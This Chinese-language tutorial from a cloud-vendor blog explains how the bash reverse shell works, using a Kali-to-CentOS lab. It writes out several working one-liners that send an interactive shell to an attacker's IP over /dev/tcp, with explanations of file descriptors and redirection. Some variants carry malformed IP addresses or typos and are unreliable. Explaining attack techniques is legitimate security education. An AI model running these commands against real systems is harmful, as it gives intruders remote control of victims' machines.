亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux中bash反彈shell的原理是什么

發布時間:2020-10-27 22:40:24 來源:億速云 閱讀:198 作者:Leah 欄目:開發技術

這期內容當中小編將會給大家帶來有關Linux中bash反彈shell的原理是什么,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

環境

攻擊機:kali            ip:192.168.25.144

靶    機:centos      ip:192.168.25.142

過程

kali 監聽本地8888端口

Linux中bash反彈shell的原理是什么

靶機 centos 寫入 反彈shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

Linux中bash反彈shell的原理是什么

攻擊機 kali 成功反彈shell

Linux中bash反彈shell的原理是什么

原理

反彈shell往往是在攻擊者無法直接連接受害者的情況下進行的操作,原因有很多,例如目標是局域網,或者開啟防火墻的某些策略等情況,而這時,我們就可以讓受害者主動向攻擊者發起連接,被控端發起請求到控制端某端口,并將其命令行的輸入輸出轉到控制端,從而實現交互

我們將命令拆開

bash -i 
/dev/tcp/192.168.25.144/8888
 >&  0>&1

bash

Linux中一般默認的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會指定它為執行路徑

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點以及用途

查詢當前shell命令    ls -l /bin/sh

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

bash -i  打開一個交互式的bash            shell 如果有 -i 參數,就是交互式的

交互的意思就是可以和用戶進行交互,輸入命令,回顯給用戶就是一個交互的過程,而執行一個shell腳本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

Linux中bash反彈shell的原理是什么     

有參數  i ,是交互式的

執行一個shell腳本

Linux中bash反彈shell的原理是什么 

無參數 i ,非交互式

/dev目錄

dev是設備(device)的英文縮寫。這里主要存放與設備(包括外設)有關的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP連接

文件描述符

Linux 系統中,把一切都看做是文件,當進程打開現有文件或創建新文件時,內核向進程返回一個文件描述符,文件描述符就是內核為了高效管理已被打開的文件所創建的索引,用來指向被打開的文件。

所有執行I/O操作的系統調用都會通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)

標準輸入(stdin):           代碼為  0     使用 < 或 <<          默認設備鍵盤

標準輸出(stdout):         代碼為  1     使用 > 或 >>          默認設備顯示器

標準錯誤輸出(stderr):  代碼為   2    使用 2> 或 2>>      默認設備顯示器

 ---    +--------+
( 0 ) ---->|dev/tty0|  當開啟一個終端時 默認的文件描述符 指向 /dev/tty0(虛擬終端)
 ---    +--------+ 
             
 ---    +--------+ 
( 1 ) ---->|dev/tty0| 
 ---    +--------+  
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

大多數Linux 系統命令從你的終端接受輸入并將所產生的輸出發送回&#8203;&#8203;到您的終端。一個命令通常從一個叫標準輸入的地方讀取輸入,默認情況下,這恰好是你的終端。同樣,一個命令通常將其輸出寫入到標準輸出,默認情況下,這也是你的終端

Shell 輸入/輸出重定向

我們讓上圖  輸出重定向

使用    1>    將輸出結果寫入到 指定文件中    文件不存在則創建文件,文件如果存在會覆蓋原文件內容

省略不寫則默認就是 1       同理,輸入重定向  0<   省略不寫則默認就是 0

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

使用  >>   會追內容在文件末尾

Linux中bash反彈shell的原理是什么

結合上面建立的TCP連接

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

kali攻擊機收到

Linux中bash反彈shell的原理是什么

結合bash -i

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

在kali得到命令執行結果的回顯

Linux中bash反彈shell的原理是什么

此時我們輸入name,可以看到,標準輸出錯誤并未被重定向

Linux中bash反彈shell的原理是什么

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

輸入重定向

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

在kali攻擊機,輸入

Linux中bash反彈shell的原理是什么

靶機得到輸入指令,標準輸出(默認終端)

Linux中bash反彈shell的原理是什么

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

!!!!!!!!!!!!!!!

此時,我們只需要將

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i  <  /dec/tcp/192.168.25.144/8888  結合

實現在攻擊機 kali 輸入 命令,在kali 機 得到命令回顯,實現了反彈shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

效果     kali   ip:192.168.25.140 

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

此時靶機會輸出在攻擊機所輸入的命令,還有一個問題,標準錯誤輸出 并沒有重定向

Linux中bash反彈shell的原理是什么

Linux中bash反彈shell的原理是什么

補充:

bash 在執行一條指令的時候,首先會檢查命令中存不存在重定向的符號,如果存在那么首先將文件描述符重定向,存在多個則從左往右依次執行

標準輸出與標準錯誤輸出重定向

此時反彈shell語句里邊用到了  >&    操作符,>&  操作符在不同情況下有不通的含義

在   >&word  語法中,當word是數字或  字符時,操作符  >&   表示復制 文件描述符 

    而文件描述符的復制格式有     num1<&num2  和 num1>&num2 

    這里兩個都是將文件描述符 num1 復制到 num2 ,兩者的區別是,前者是以只讀的形式打開,后者是以寫的形式打開

    因此 num1<&num2  和 num1>&num2 是等價的(讀/寫方式打開對其沒有任何影響)

    所以上述命令可以修改為     bash -i > /dev/tcp/192.168.25.144/8888 0<&1

   所以    0>&1  或者   0<&1

   是對文件描述符的拷貝,是將0[標準輸入]重定向到了1[標準輸出]指向的位置

   此時1[標準輸出]指向的是socket連接文件(第一個  >   )

   重定向完成后,0[標準輸入]也指向了socket連接文件,所以我推測因為拷貝,所以原標準輸出回顯到靶機上(kali上敲的命  令)

 ---    +--------+
( 0 ) ---->|dev/tty0|\
 ---    +--------+ \
            \
 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

此時標準錯誤輸出 依然未曾改變

在   >&word  語法中,當word不是數字或  -  字符時    >&  表示將 標準錯誤輸出合并到標準輸出中

     此時與操作符   &> 功能一樣     >&word 等價于 &> word       都相當于        > word  2>&1 

    當執行 bash -i  > /dev/tcp/192.168.25.140/9999 0>&1   命令時,效果如下 標準輸出錯誤并未被重定向

Linux中bash反彈shell的原理是什么 

    所以我們執行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   或

    bash -i  >& /dev/tcp/192.168.25.140/9999 0>&1       均形成了一個閉合的回路  ,同樣,命令回顯到攻擊機上

Linux中bash反彈shell的原理是什么   

  實現以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可

 ---    +--------+
( 0 ) ---->|dev/tty0|\
 ---    +--------+ \
            \
 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+  ---->  +------------------+
   	    	    /
 ---    +--------+ /
( 2 ) ---->|dev/tty0| / 
 ---    +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

上述就是小編為大家分享的Linux中bash反彈shell的原理是什么了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

兴化市| 天柱县| 高尔夫| 喀什市| 本溪| 海南省| 襄樊市| 南靖县| 育儿| 来宾市| 关岭| 漯河市| 沙湾县| 东山县| 六枝特区| 乐安县| 麟游县| 张北县| 牙克石市| 福鼎市| 开封县| 瑞金市| 舞钢市| 丁青县| 阿坝县| 浠水县| 黄石市| 龙游县| 九台市| 威信县| 凤台县| 林甸县| 韩城市| 建始县| 晋州市| 迁西县| 渑池县| 姚安县| 瓦房店市| 望谟县| 安吉县|